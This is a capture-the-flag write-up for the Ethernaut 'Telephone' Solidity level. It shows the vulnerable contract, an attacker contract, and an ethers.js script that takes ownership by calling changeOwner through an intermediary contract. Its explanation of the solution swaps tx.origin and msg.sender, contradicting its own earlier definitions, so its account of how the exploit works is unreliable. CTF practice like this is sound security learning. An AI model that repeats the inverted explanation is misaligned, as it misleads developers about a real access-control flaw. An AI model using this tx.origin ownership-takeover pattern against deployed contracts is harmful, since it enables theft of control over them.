Cracking the Code: Ethernault (Level 4 - Telephone) CTF Challenge

Cracking the Code: Ethernault (Level 4 - Telephone) CTF Challenge

The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'.

This challenge tests the player's knowledge about msg.sender and tx.origin.

The challenge code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

The goal of this challenge is to become the owner of the contract.

For this to be solved, we need to understand the difference between msg.sender and tx.origin

In Ethereum, tx.origin is a global variable that represents the original sender of a transaction. It is used to obtain the address of the account that initially created and signed the transaction. This information remains constant throughout the transaction execution, regardless of how many contracts the transaction passes through.

In Ethereum smart contracts, msg.sender is a global variable that represents the address of the account (or smart contract) that sent the current transaction. It provides information about the immediate sender of the message or transaction.

Here's a brief explanation:

  • When a transaction is initiated on the Ethereum blockchain, it is sent by an external actor, which could be an externally-owned account (EOA) or another smart contract.

  • msg.sender allows the smart contract to determine the address of the entity that triggered the execution of the contract. If the contract is called by another contract, msg.sender will represent the address of that calling contract.

  • It is commonly used in access control and authentication mechanisms within smart contracts. For example, a contract might use msg.sender to verify whether the caller has the necessary permissions to execute a specific function.

From the explanation above if we call the changeOwner in the challenge contract with an EOA, it will fail because the tx.origin will be equal to the msg.sender, to solve this challenge, we need to create a smart contract and call the changeOwner in the challenge contract inside the contract.

Solutions

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../interface/ITele.sol";

contract TeleAttack {
    function attack() public {
        ITele(0xE1241F01aE2C10f499663D806d95152cD23467f7).changeOwner(0x1443498Ef86df975D8A2b0B6a315fB9f49978998);
    }
}
const { ethers } = require("ethers");
const abi = require("../artifacts/contracts/Telephone.sol/TeleAttack.json");

const provider = ethers.getDefaultProvider(process.env.SEPO_API_KEY_URL);

const signer = new ethers.Wallet(process.env.SEPO_PRIVATE_KEY, provider);

(async () => {
  const contract = new ethers.Contract(
    "0xCF3b2D18E21860f517029B4726FF65B67051A157",
    abi.abi,
    signer
  );

  const ctx = await contract.attack();
  await ctx.wait();
})();

There are different pathways to execute this solution, but I will be using a contract and script to provide a concise overview of the solution.

The solution is in two parts, the contract and the script.

The solution contract

We use the challenge interface to invoke the changeOwner function within the solution contract. This implies that tx.origin is the address of the solution contract, and msg.sender is the signer calling the attack function in the solution contract. We provide the player's address as an argument to the changeOwner function.

The solution script

Firstly, we set up the ABI, provider, and signer. The ABI allows interaction with our solution contract, the provider facilitates interaction with the blockchain, and the signer is how the user interacts with the contract.

The next step is to call the attack function in the solution contract.

Conclusion

Thank you for reading; I hope you have gained valuable insights from this explanation.